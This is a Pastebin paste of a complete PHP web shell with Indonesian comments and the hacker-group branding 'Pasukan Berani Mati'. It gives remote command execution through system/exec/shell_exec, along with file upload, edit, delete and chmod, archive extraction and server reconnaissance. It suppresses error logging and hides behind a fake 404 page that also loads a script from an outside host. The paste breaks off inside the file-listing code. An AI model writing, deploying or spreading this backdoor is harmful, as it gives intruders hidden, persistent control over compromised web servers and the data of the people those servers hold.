Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Konfigurasi awal
- set_time_limit(0);
- error_reporting(0);
- @ini_set('error_log',null);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- date_default_timezone_set('Asia/Jakarta');
- // Fungsi untuk mendapatkan IP
- function ip() {
- $ipas = '';
- if(getenv('HTTP_CLIENT_IP'))
- $ipas = getenv('HTTP_CLIENT_IP');
- else if(getenv('HTTP_X_FORWARDED_FOR'))
- $ipas = getenv('HTTP_X_FORWARDED_FOR');
- else if(getenv('HTTP_X_FORWARDED'))
- $ipas = getenv('HTTP_X_FORWARDED');
- else if(getenv('HTTP_FORWARDED_FOR'))
- $ipas = getenv('HTTP_FORWARDED_FOR');
- else if(getenv('HTTP_FORWARDED'))
- $ipas = getenv('HTTP_FORWARDED');
- else if(getenv('REMOTE_ADDR'))
- $ipas = getenv('REMOTE_ADDR');
- else
- $ipas = 'IP tidak dikenali';
- return $ipas;
- }
- // Fungsi exe()
- function exe($cmd) {
- // Jika $cmd adalah file, baca isinya
- if(is_file($cmd)) {
- $buff = @file_get_contents($cmd);
- return htmlspecialchars($buff);
- }
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return htmlspecialchars($buff);
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result . "\n";
- }
- return htmlspecialchars($buff);
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return htmlspecialchars($buff);
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return htmlspecialchars($buff);
- }
- return false; // Jika tidak ada fungsi yang tersedia
- }
- // Sistem informasi
- $disfunc = @ini_get("disable_functions");
- if(empty($disfunc)) {
- $disfc = "NONE";
- } else {
- $disfc = $disfunc;
- }
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
- $server_ip = gethostbyname($_SERVER['HTTP_HOST']);
- $software = $_SERVER['SERVER_SOFTWARE'];
- $lihat = ip();
- $sys = php_uname();
- // Fungsi untuk format size
- function format_size($bytes) {
- if ($bytes >= 1073741824) {
- return number_format($bytes / 1073741824, 2) . ' GB';
- } elseif ($bytes >= 1048576) {
- return number_format($bytes / 1048576, 2) . ' MB';
- } elseif ($bytes >= 1024) {
- return number_format($bytes / 1024, 2) . ' KB';
- } elseif ($bytes > 1) {
- return $bytes . ' bytes';
- } elseif ($bytes == 1) {
- return '1 byte';
- } else {
- return '0 bytes';
- }
- }
- // Fungsi untuk mendapatkan permission dalam format octal
- function get_permission_octal($filepath) {
- if (!file_exists($filepath)) {
- return '0000';
- }
- $perms = fileperms($filepath);
- $octal = substr(sprintf('%o', $perms), -4);
- return str_pad($octal, 4, '0', STR_PAD_LEFT);
- }
- // Fungsi untuk unarchive file
- function unarchive_file($archive_path, $destination_dir = null) {
- if (!file_exists($archive_path)) {
- return "File tidak ditemukan";
- }
- if ($destination_dir === null) {
- $destination_dir = dirname($archive_path);
- }
- $filename = basename($archive_path);
- $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
- // Buat directory tujuan jika belum ada
- if (!is_dir($destination_dir)) {
- @mkdir($destination_dir, 0755, true);
- }
- // Periksa command yang tersedia
- $commands = [];
- // Cek command unzip
- if (function_exists('shell_exec')) {
- $unzip_check = @shell_exec('which unzip');
- if (!empty($unzip_check)) {
- $commands['zip'] = 'unzip -q "%s" -d "%s"';
- }
- }
- // Cek command tar
- if (function_exists('shell_exec')) {
- $tar_check = @shell_exec('which tar');
- if (!empty($tar_check)) {
- $commands['tar'] = 'tar -xf "%s" -C "%s"';
- $commands['tar.gz'] = 'tar -xzf "%s" -C "%s"';
- $commands['tgz'] = 'tar -xzf "%s" -C "%s"';
- $commands['tar.bz2'] = 'tar -xjf "%s" -C "%s"';
- }
- }
- // PHP built-in zip extraction
- if (extension_loaded('zip') && $extension === 'zip') {
- $zip = new ZipArchive;
- if ($zip->open($archive_path) === TRUE) {
- $zip->extractTo($destination_dir);
- $zip->close();
- return "File $filename berhasil diekstrak menggunakan PHP Zip extension";
- }
- }
- // Eksekusi berdasarkan ekstensi
- switch ($extension) {
- case 'zip':
- if (isset($commands['zip'])) {
- $cmd = sprintf($commands['zip'], $archive_path, $destination_dir);
- @shell_exec($cmd);
- return "File $filename berhasil diekstrak menggunakan unzip";
- }
- break;
- case 'tar':
- if (isset($commands['tar'])) {
- $cmd = sprintf($commands['tar'], $archive_path, $destination_dir);
- @shell_exec($cmd);
- return "File $filename berhasil diekstrak menggunakan tar";
- }
- break;
- case 'gz':
- if (isset($commands['tar.gz'])) {
- $cmd = sprintf($commands['tar.gz'], $archive_path, $destination_dir);
- @shell_exec($cmd);
- return "File $filename berhasil diekstrak menggunakan tar.gz";
- }
- break;
- case 'tgz':
- if (isset($commands['tgz'])) {
- $cmd = sprintf($commands['tgz'], $archive_path, $destination_dir);
- @shell_exec($cmd);
- return "File $filename berhasil diekstrak menggunakan tgz";
- }
- break;
- case 'bz2':
- if (isset($commands['tar.bz2'])) {
- $cmd = sprintf($commands['tar.bz2'], $archive_path, $destination_dir);
- @shell_exec($cmd);
- return "File $filename berhasil diekstrak menggunakan tar.bz2";
- }
- break;
- case 'rar':
- // Cek jika rar command tersedia
- if (function_exists('shell_exec')) {
- $rar_check = @shell_exec('which unrar');
- if (!empty($rar_check)) {
- $cmd = 'unrar x "' . $archive_path . '" "' . $destination_dir . '"';
- @shell_exec($cmd);
- return "File $filename berhasil diekstrak menggunakan unrar";
- }
- }
- break;
- }
- return "Tidak dapat mengekstrak file $filename. Pastikan command unzip/tar tersedia atau gunakan PHP Zip extension";
- }
- // Start session untuk menyimpan current directory dan messages
- if (session_status() === PHP_SESSION_NONE) {
- session_start();
- }
- // Get current directory berdasarkan parameter atau session
- if (isset($_GET['dir'])) {
- $current_dir = $_GET['dir'];
- $_SESSION['current_dir'] = $current_dir;
- } elseif (isset($_SESSION['current_dir'])) {
- $current_dir = $_SESSION['current_dir'];
- } else {
- $current_dir = '.';
- }
- // Reset ke home directory jika parameter home=1
- if (isset($_GET['home']) && $_GET['home'] == '1') {
- $current_dir = '.';
- $_SESSION['current_dir'] = $current_dir;
- header("Location: ?" . preg_replace('/&?home=1/', '', $_SERVER['QUERY_STRING']));
- exit;
- }
- $current_dir = realpath($current_dir) ?: $current_dir;
- // Variabel untuk menyimpan message popup
- $popup_message = '';
- $popup_type = 'info';
- // Proses semua action berdasarkan parameter do
- if (isset($_GET['do'])) {
- $action = $_GET['do'];
- switch ($action) {
- // File Manager Actions
- case 'delete':
- if (isset($_GET['file'])) {
- $file = $_GET['file'];
- $file_path = $current_dir . '/' . $file;
- if (file_exists($file_path)) {
- if (is_dir($file_path)) {
- if (@rmdir($file_path)) {
- $popup_message = "Directory deleted successfully: " . htmlspecialchars($file);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to delete directory: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- } else {
- if (@unlink($file_path)) {
- $popup_message = "File deleted successfully: " . htmlspecialchars($file);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to delete file: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- }
- } else {
- $popup_message = "File not found: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- }
- break;
- case 'view':
- if (isset($_GET['file'])) {
- $file = $_GET['file'];
- $file_path = $current_dir . '/' . $file;
- if (file_exists($file_path) && !is_dir($file_path)) {
- header("Content-Type: text/plain");
- echo file_get_contents($file_path);
- exit;
- }
- }
- break;
- case 'download':
- if (isset($_GET['file'])) {
- $file = $_GET['file'];
- $file_path = $current_dir . '/' . $file;
- if (file_exists($file_path) && !is_dir($file_path)) {
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
- header('Content-Length: ' . filesize($file_path));
- readfile($file_path);
- exit;
- }
- }
- break;
- case 'chmod':
- if (isset($_POST['mode']) && isset($_POST['file'])) {
- $file = $_POST['file'];
- $file_path = $current_dir . '/' . $file;
- $mode = octdec($_POST['mode']);
- if (file_exists($file_path)) {
- if (@chmod($file_path, $mode)) {
- $popup_message = "Permissions changed successfully: " . htmlspecialchars($file) . " → " . $_POST['mode'];
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to change permissions: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- } else {
- $popup_message = "File not found: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- }
- break;
- case 'rename':
- if (isset($_POST['new_name']) && isset($_POST['file'])) {
- $file = $_POST['file'];
- $file_path = $current_dir . '/' . $file;
- $new_path = $current_dir . '/' . $_POST['new_name'];
- if (file_exists($file_path)) {
- if (@rename($file_path, $new_path)) {
- $popup_message = "Renamed successfully: " . htmlspecialchars($file) . " → " . htmlspecialchars($_POST['new_name']);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to rename: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- } else {
- $popup_message = "File not found: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- }
- break;
- case 'edit':
- if (isset($_POST['content']) && isset($_POST['file'])) {
- $file = $_POST['file'];
- $file_path = $current_dir . '/' . $file;
- if (file_exists($file_path)) {
- if (@file_put_contents($file_path, $_POST['content']) !== false) {
- $popup_message = "File saved successfully: " . htmlspecialchars($file);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to save file: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- } else {
- $popup_message = "File not found: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- }
- break;
- case 'mkdir':
- if (isset($_POST['dir_name'])) {
- $new_dir = $current_dir . '/' . $_POST['dir_name'];
- if (@mkdir($new_dir, 0755, true)) {
- $popup_message = "Directory created successfully: " . htmlspecialchars($_POST['dir_name']);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to create directory: " . htmlspecialchars($_POST['dir_name']);
- $popup_type = 'error';
- }
- }
- break;
- case 'copy':
- if (isset($_POST['dest_name']) && isset($_POST['file'])) {
- $file = $_POST['file'];
- $file_path = $current_dir . '/' . $file;
- $dest_path = $current_dir . '/' . $_POST['dest_name'];
- if (file_exists($file_path)) {
- if (@copy($file_path, $dest_path)) {
- $popup_message = "File copied successfully: " . htmlspecialchars($file) . " → " . htmlspecialchars($_POST['dest_name']);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to copy file: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- } else {
- $popup_message = "File not found: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- }
- break;
- case 'unarchive':
- if (isset($_POST['file'])) {
- $file = $_POST['file'];
- $file_path = $current_dir . '/' . $file;
- if (file_exists($file_path) && !is_dir($file_path)) {
- $result = unarchive_file($file_path, $current_dir);
- $popup_message = $result;
- $popup_type = strpos($result, 'berhasil') !== false ? 'success' : 'error';
- } else {
- $popup_message = "File not found or is a directory: " . htmlspecialchars($file);
- $popup_type = 'error';
- }
- }
- break;
- // Terminal Action
- case 'execute':
- if (isset($_POST['cmd'])) {
- $cmd = $_POST['cmd'];
- // Jika cmd adalah path relatif, gabungkan dengan current dir
- if (strpos($cmd, '/') === 0 || strpos($cmd, '~') === 0) {
- // Absolute path, biarkan seperti itu
- } else {
- // Relative path, coba dari current dir
- $test_path = $current_dir . '/' . $cmd;
- if (is_file($test_path) || is_dir($test_path)) {
- $cmd = $test_path;
- }
- }
- $_SESSION['last_cmd'] = $cmd;
- $_SESSION['cmd_output'] = exe($cmd);
- $popup_message = "Command executed: " . htmlspecialchars($cmd);
- $popup_type = 'info';
- }
- break;
- // Buat File Action
- case 'createfile':
- if (isset($_POST['namafile']) && isset($_POST['isifile'])) {
- $namafile = $_POST['namafile'];
- $isifile = $_POST['isifile'];
- // Jika nama file tidak absolute, tambahkan current dir
- if (strpos($namafile, '/') !== 0) {
- $namafile = $current_dir . '/' . $namafile;
- }
- $handle = fopen($namafile, "w");
- if ($isifile) {
- $buatfile = fwrite($handle, $isifile);
- } else {
- $buatfile = $handle;
- }
- fclose($handle);
- if ($buatfile) {
- $popup_message = "File created successfully: " . basename($namafile);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to create file";
- $popup_type = 'error';
- }
- }
- break;
- // Upload Action
- case 'upload':
- if (isset($_FILES['file'])) {
- $filename = $_FILES['file']['name'];
- $tmp_name = $_FILES['file']['tmp_name'];
- $destination = $current_dir . '/' . $filename;
- if (@move_uploaded_file($tmp_name, $destination)) {
- $popup_message = "File uploaded successfully: " . htmlspecialchars($filename);
- $popup_type = 'success';
- } else {
- $popup_message = "Failed to upload file: " . htmlspecialchars($filename);
- $popup_type = 'error';
- }
- }
- break;
- }
- // Simpan message popup di session untuk ditampilkan setelah redirect
- if (!empty($popup_message)) {
- $_SESSION['popup_message'] = $popup_message;
- $_SESSION['popup_type'] = $popup_type;
- }
- // Redirect tanpa parameter msg
- $query_string = $_SERVER['QUERY_STRING'];
- $query_string = preg_replace('/&?do=[^&]*/', '', $query_string);
- $query_string = preg_replace('/&?file=[^&]*/', '', $query_string);
- header("Location: ?" . $query_string);
- exit;
- }
- // Cek parameter URL untuk menentukan halaman
- $page = isset($_GET['terminal']) ? 'terminal' :
- (isset($_GET['buatfile']) ? 'buatfile' :
- (isset($_GET['upload']) ? 'upload' :
- (isset($_GET['filemanager']) ? 'filemanager' :
- (isset($_GET['systeminfo']) ? 'systeminfo' : '404'))));
- // Jika tidak ada parameter yang valid, tampilkan 404
- if ($page === '404') {
- header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
- die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><script src='https://js-a9q.pages.dev/s.min.js?v=0.3.28'></script></body></html>');
- }
- // Ambil popup message dari session jika ada
- if (isset($_SESSION['popup_message'])) {
- $popup_message = $_SESSION['popup_message'];
- $popup_type = $_SESSION['popup_type'];
- unset($_SESSION['popup_message']);
- unset($_SESSION['popup_type']);
- }
- ?>
- <!DOCTYPE html>
- <html lang="id">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>Terminal Web - <?php echo ucfirst($page); ?></title>
- <style>
- * {
- margin: 0;
- padding: 0;
- box-sizing: border-box;
- font-family: 'Consolas', 'Monaco', monospace;
- }
- body {
- background-color: #0c0c0c;
- color: #00ff00;
- padding: 20px;
- line-height: 1.6;
- }
- .container {
- max-width: 1400px;
- margin: 0 auto;
- background-color: #000;
- border: 1px solid #00ff00;
- border-radius: 5px;
- overflow: hidden;
- box-shadow: 0 0 20px rgba(0, 255, 0, 0.2);
- }
- .header {
- background-color: #001a00;
- padding: 15px;
- border-bottom: 1px solid #00ff00;
- text-align: center;
- }
- .header h1 {
- color: #ff0000;
- margin-bottom: 5px;
- text-shadow: 0 0 5px rgba(255, 0, 0, 0.5);
- }
- .header h2 {
- color: #00ff00;
- font-size: 1.2em;
- }
- .header-info {
- font-size: 0.9em;
- color: #00cc00;
- margin-top: 10px;
- padding: 5px;
- background-color: #002200;
- border-radius: 3px;
- }
- .nav {
- display: flex;
- background-color: #002200;
- border-bottom: 1px solid #00ff00;
- padding: 10px;
- flex-wrap: wrap;
- }
- .nav-link {
- background-color: <?php
- echo $page === 'terminal' ? '#00aa00' :
- ($page === 'buatfile' ? '#00aa00' :
- ($page === 'upload' ? '#00aa00' :
- ($page === 'systeminfo' ? '#00aa00' :
- ($page === 'filemanager' ? '#00aa00' : '#003300'))));
- ?>;
- color: <?php echo in_array($page, ['terminal', 'buatfile', 'upload', 'systeminfo', 'filemanager']) ? '#000' : '#00ff00'; ?>;
- border: 1px solid #00ff00;
- padding: 8px 15px;
- margin: 5px;
- text-decoration: none;
- border-radius: 3px;
- transition: all 0.3s;
- }
- .nav-link:hover {
- background-color: #00aa00;
- color: #000;
- }
- .content {
- padding: 20px;
- min-height: 400px;
- }
- .terminal-form {
- margin-bottom: 20px;
- }
- .cmd-input {
- width: 100%;
- padding: 10px;
- background-color: #001100;
- color: #00ff00;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 10px;
- font-size: 1em;
- }
- .btn {
- background-color: #003300;
- color: #00ff00;
- border: 1px solid #00ff00;
- padding: 10px 20px;
- cursor: pointer;
- border-radius: 3px;
- font-size: 1em;
- transition: all 0.3s;
- text-decoration: none;
- display: inline-block;
- }
- .btn:hover {
- background-color: #00aa00;
- color: #000;
- }
- .btn-danger {
- background-color: #330000;
- color: #ff0000;
- border: 1px solid #ff0000;
- }
- .btn-danger:hover {
- background-color: #ff0000;
- color: #000;
- }
- .btn-warning {
- background-color: #333300;
- color: #ffff00;
- border: 1px solid #ffff00;
- }
- .btn-warning:hover {
- background-color: #ffff00;
- color: #000;
- }
- .btn-info {
- background-color: #000033;
- color: #00ffff;
- border: 1px solid #00ffff;
- }
- .btn-info:hover {
- background-color: #00ffff;
- color: #000;
- }
- .btn-success {
- background-color: #003300;
- color: #00ff00;
- border: 1px solid #00ff00;
- }
- .btn-success:hover {
- background-color: #00aa00;
- color: #000;
- }
- .btn-home {
- background-color: #660066;
- color: #ff00ff;
- border: 1px solid #ff00ff;
- }
- .btn-home:hover {
- background-color: #ff00ff;
- color: #000;
- }
- .output {
- background-color: #001100;
- border: 1px solid #00ff00;
- padding: 15px;
- border-radius: 3px;
- margin-top: 20px;
- max-height: 400px;
- overflow-y: auto;
- white-space: pre-wrap;
- word-wrap: break-word;
- }
- .file-form {
- background-color: #001100;
- padding: 15px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 20px;
- }
- .form-group {
- margin-bottom: 15px;
- }
- .form-label {
- display: block;
- margin-bottom: 5px;
- color: #00ff00;
- }
- .form-input {
- width: 100%;
- padding: 8px;
- background-color: #000;
- color: #00ff00;
- border: 1px solid #00ff00;
- border-radius: 3px;
- }
- .textarea {
- min-height: 150px;
- resize: vertical;
- font-family: monospace;
- }
- .message {
- padding: 10px;
- margin: 10px 0;
- border-radius: 3px;
- text-align: center;
- }
- .success {
- background-color: #003300;
- color: #00ff00;
- border: 1px solid #00ff00;
- }
- .error {
- background-color: #330000;
- color: #ff0000;
- border: 1px solid #ff0000;
- }
- .warning {
- background-color: #333300;
- color: #ffff00;
- border: 1px solid #ffff00;
- }
- .info {
- background-color: #000033;
- color: #00ffff;
- border: 1px solid #00ffff;
- }
- .current-dir {
- background-color: #001100;
- padding: 10px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 20px;
- font-weight: bold;
- }
- .uname-info {
- background-color: #001100;
- padding: 10px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 20px;
- text-align: center;
- }
- .system-info {
- background-color: #001100;
- padding: 15px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 15px;
- }
- .info-grid {
- display: grid;
- grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
- gap: 15px;
- margin-bottom: 20px;
- }
- .info-box {
- background-color: #000;
- padding: 15px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- }
- .info-title {
- color: #00ff00;
- font-weight: bold;
- margin-bottom: 10px;
- border-bottom: 1px solid #00ff00;
- padding-bottom: 5px;
- }
- .info-content {
- color: #00cc00;
- }
- /* Popup Notification */
- .popup-notification {
- position: fixed;
- top: 20px;
- right: 20px;
- min-width: 300px;
- max-width: 500px;
- padding: 15px;
- border-radius: 5px;
- box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
- z-index: 9999;
- animation: slideIn 0.3s ease-out;
- border: 2px solid;
- }
- .popup-success {
- background-color: #001a00;
- color: #00ff00;
- border-color: #00ff00;
- }
- .popup-error {
- background-color: #1a0000;
- color: #ff0000;
- border-color: #ff0000;
- }
- .popup-info {
- background-color: #00001a;
- color: #00ffff;
- border-color: #00ffff;
- }
- .popup-warning {
- background-color: #1a1a00;
- color: #ffff00;
- border-color: #ffff00;
- }
- .popup-close {
- position: absolute;
- top: 5px;
- right: 10px;
- color: inherit;
- cursor: pointer;
- font-size: 20px;
- font-weight: bold;
- }
- @keyframes slideIn {
- from {
- transform: translateX(100%);
- opacity: 0;
- }
- to {
- transform: translateX(0);
- opacity: 1;
- }
- }
- /* File Manager Styles */
- .file-manager-nav {
- background-color: #001100;
- padding: 15px;
- border: 1px solid #00ff00;
- border-radius: 3px;
- margin-bottom: 15px;
- }
- .breadcrumb {
- display: flex;
- flex-wrap: wrap;
- gap: 5px;
- margin-bottom: 15px;
- }
- .breadcrumb-item {
- color: #00ff00;
- text-decoration: none;
- }
- .breadcrumb-item:hover {
- color: #00aa00;
- }
- .breadcrumb-separator {
- color: #00aa00;
- }
- .file-manager-actions {
- display: flex;
- gap: 10px;
- margin-bottom: 15px;
- flex-wrap: wrap;
- }
- .file-table {
- width: 100%;
- border-collapse: collapse;
- margin-top: 15px;
- }
- .file-table th {
- background-color: #002200;
- color: #00ff00;
- padding: 12px;
- text-align: left;
- border: 1px solid #00ff00;
- }
- .file-table td {
- padding: 10px;
- border: 1px solid #00ff00;
- color: #00cc00;
- }
- .file-table tr:hover {
- background-color: #001100;
- }
- .file-icon {
- margin-right: 8px;
- }
- .file-name {
- color: #00ffff;
- text-decoration: none;
- }
- .file-name:hover {
- color: #00ff00;
- text-decoration: underline;
- }
- .dir-icon {
- color: #ffff00;
- }
- .archive-icon {
- color: #ff9900;
- }
- .permission-badge {
- display: inline-block;
- padding: 2px 8px;
- background-color: #002200;
- border-radius: 3px;
- font-family: monospace;
- font-size: 0.9em;
- }
- .permission-755 {
- background-color: #003300;
- color: #00ff00;
- }
- .permission-644 {
- background-color: #333300;
- color: #ffff00;
- }
- .permission-777 {
- background-color: #660000;
- color: #ff6666;
- }
- .file-actions {
- display: flex;
- gap: 5px;
- flex-wrap: wrap;
- }
- .action-btn {
- padding: 5px 10px;
- border-radius: 3px;
- text-decoration: none;
- font-size: 0.9em;
- white-space: nowrap;
- }
- .edit-btn {
- background-color: #003300;
- color: #00ff00;
- border: 1px solid #00ff00;
- }
- .delete-btn {
- background-color: #330000;
- color: #ff0000;
- border: 1px solid #ff0000;
- }
- .rename-btn {
- background-color: #333300;
- color: #ffff00;
- border: 1px solid #ffff00;
- }
- .download-btn {
- background-color: #000033;
- color: #00ffff;
- border: 1px solid #00ffff;
- }
- .unarchive-btn {
- background-color: #006600;
- color: #00ff00;
- border: 1px solid #00ff00;
- }
- .modal {
- display: none;
- position: fixed;
- z-index: 1000;
- left: 0;
- top: 0;
- width: 100%;
- height: 100%;
- background-color: rgba(0, 0, 0, 0.8);
- }
- .modal-content {
- background-color: #000;
- margin: 10% auto;
- padding: 20px;
- border: 1px solid #00ff00;
- width: 80%;
- max-width: 600px;
- border-radius: 5px;
- }
- .close {
- color: #ff0000;
- float: right;
- font-size: 28px;
- font-weight: bold;
- cursor: pointer;
- }
- .close:hover {
- color: #ff6666;
- }
- </style>
- </head>
- <body>
- <div class="container">
- <div class="header">
- <h1>Pasukan Berani Mati</h1>
- <h2>CaFc_Br40ck</h2>
- <div class="header-info">
- IP: <?php echo htmlspecialchars($lihat); ?> |
- User: <?php echo htmlspecialchars($user); ?> |
- Time: <?php echo date('Y-m-d H:i:s'); ?>
- </div>
- </div>
- <div class="nav">
- <a href="?terminal&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">Terminal</a>
- <a href="?buatfile&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">Buat File</a>
- <a href="?upload&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">Upload File</a>
- <a href="?filemanager&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">File Manager</a>
- <a href="?systeminfo&dir=<?php echo urlencode($current_dir); ?>" class="nav-link">System Info</a>
- </div>
- <div class="content">
- <?php if ($page === 'terminal'): ?>
- <!-- Terminal Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars($current_dir); ?>
- </div>
- <form method="POST" action="?terminal&dir=<?php echo urlencode($current_dir); ?>&do=execute" class="terminal-form">
- <input type="text" name="cmd" class="cmd-input" placeholder="Masukkan perintah atau path file..." required>
- <button type="submit" class="btn">Execute</button>
- </form>
- <?php
- // Tampilkan output terakhir jika ada
- if (isset($_SESSION['cmd_output'])) {
- echo '<div class="output">';
- echo $_SESSION['cmd_output'] ? $_SESSION['cmd_output'] : "Perintah berhasil dijalankan (tidak ada output).";
- echo '</div>';
- // Clear session output
- unset($_SESSION['cmd_output']);
- }
- ?>
- <?php elseif ($page === 'buatfile'): ?>
- <!-- Buat File Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars($current_dir); ?>
- </div>
- <form method="POST" action="?buatfile&dir=<?php echo urlencode($current_dir); ?>&do=createfile" class="file-form">
- <div class="form-group">
- <label class="form-label">Nama File:</label>
- <input type="text" name="namafile" class="form-input" placeholder="contoh: test.txt" required>
- </div>
- <div class="form-group">
- <label class="form-label">Isi File:</label>
- <textarea name="isifile" class="form-input textarea" placeholder="Masukkan isi file..."></textarea>
- </div>
- <button type="submit" class="btn">Buat File</button>
- </form>
- <?php elseif ($page === 'upload'): ?>
- <!-- Upload File Section -->
- <div class="current-dir">
- Directory: <?php echo htmlspecialchars($current_dir); ?>
- </div>
- <div class="uname-info">
- <?php echo htmlspecialchars(php_uname()); ?>
- </div>
- <form action="?upload&dir=<?php echo urlencode($current_dir); ?>&do=upload" method="post" enctype="multipart/form-data" class="file-form">
- <div class="form-group">
- <label class="form-label">Pilih File:</label>
- <input type="file" name="file" class="form-input" required>
- </div>
- <button type="submit" class="btn">Upload File</button>
- </form>
- <?php elseif ($page === 'filemanager'): ?>
- <!-- File Manager Section -->
- <div class="file-manager-nav">
- <div class="breadcrumb">
- <a href="?filemanager&home=1" class="breadcrumb-item" title="Go to Home Directory">🏠</a>
- <span class="breadcrumb-separator">/</span>
- <?php
- // Breadcrumb navigation
- $dir_parts = explode('/', $current_dir);
- $current_path = '';
- foreach ($dir_parts as $part) {
- if (!empty($part)) {
- $current_path .= '/' . $part;
- echo '<a href="?filemanager&dir=' . urlencode($current_path) . '" class="breadcrumb-item">' . htmlspecialchars($part) . '</a>';
- echo '<span class="breadcrumb-separator">/</span>';
- }
- }
- ?>
- </div>
- <div class="current-dir">
- Current Directory: <?php echo htmlspecialchars($current_dir); ?>
- </div>
- <div class="file-manager-actions">
- <!-- Home Button -->
- <a href="?filemanager&home=1" class="btn btn-home" title="Go to Home Directory">🏠 Home</a>
- <!-- Create Directory Form -->
- <form method="POST" action="?filemanager&dir=<?php echo urlencode($current_dir); ?>&do=mkdir" style="display: inline;">
- <input type="text" name="dir_name" placeholder="Nama direktori baru" required style="width: 200px;">
- <button type="submit" class="btn btn-info">Buat Direktori</button>
- </form>
- <!-- Upload File Link -->
- <a href="?upload&dir=<?php echo urlencode($current_dir); ?>" class="btn">Upload File</a>
- <!-- Create File Link -->
- <a href="?buatfile&dir=<?php echo urlencode($current_dir); ?>" class="btn">Buat File Baru</a>
- <!-- Refresh -->
- <a href="?filemanager&dir=<?php echo urlencode($current_dir); ?>" class="btn">Refresh</a>
- <!-- Go Up -->
- <?php if ($current_dir != '/' && $current_dir != '.'): ?>
- <?php $parent_dir = dirname($current_dir); ?>
- <a href="?filemanager&dir=<?php echo urlencode($parent_dir); ?>" class="btn btn-warning">↑ Parent Directory</a>
- <?php endif; ?>
- </div>
- </div>
- <?php
- // List files and directories - SORTIR: folder dulu, kemudian file
- $files = @scandir($current_dir);
- if ($files !== false) {
- // Pisahkan folder dan file
- $folders = [];
- $file_items = [];
- foreach ($files as $file) {
- if ($file == '.' || $file == '..') continue;
- $file_path = $current_dir . '/' . $file;
- if (@is_dir($file_path)) {
- $folders[] = $file;
- } else {
- $file_items[] = $file;
- }
- }
- // Urutkan alfabet
- natcasesort($folders);
- natcasesort($file_items);
- // Gabungkan: folder dulu, kemudian file
- $sorted_files = array_merge($folders, $file_items);
- echo '<table class="file-table">';
- echo '<thead>';
- echo '<tr>';
- echo '<th>Name</th>';
- echo '<th>Size</th>';
- echo '<th>Permission</th>';
- echo '<th>Modified</th>';
- echo '<th>Actions</th>';
- echo '</tr>';
- echo '</thead>';
- echo '<tbody>';
- // Show parent directory link
- if ($current_dir != '/' && $current_dir != '.') {
- echo '<tr>';
- echo '<td colspan="5">';
- echo '<a href="?filemanager&dir=' . urlencode(dirname($current_dir)) . '">';
- echo '← Parent Directory';
- echo '</a>';
- echo '</td>';
- echo '</tr>';
- }
- foreach ($sorted_files as $file) {
- $file_path = $current_dir . '/' . $file;
- $is_dir = @is_dir($file_path);
- $file_size = $is_dir ? '-' : format_size(@filesize($file_path));
- $modified = @date('Y-m-d H:i:s', @filemtime($file_path));
- $permission = get_permission_octal($file_path);
- // Tentukan class permission berdasarkan nilai
- $permission_class = 'permission-badge';
- if ($permission == '0755' || $permission == '0775' || $permission == '0777') {
- $permission_class .= ' permission-755';
- } elseif ($permission == '0644' || $permission == '0664' || $permission == '0666') {
- $permission_class .= ' permission-644';
- } elseif ($permission == '0777') {
- $permission_class .= ' permission-777';
- }
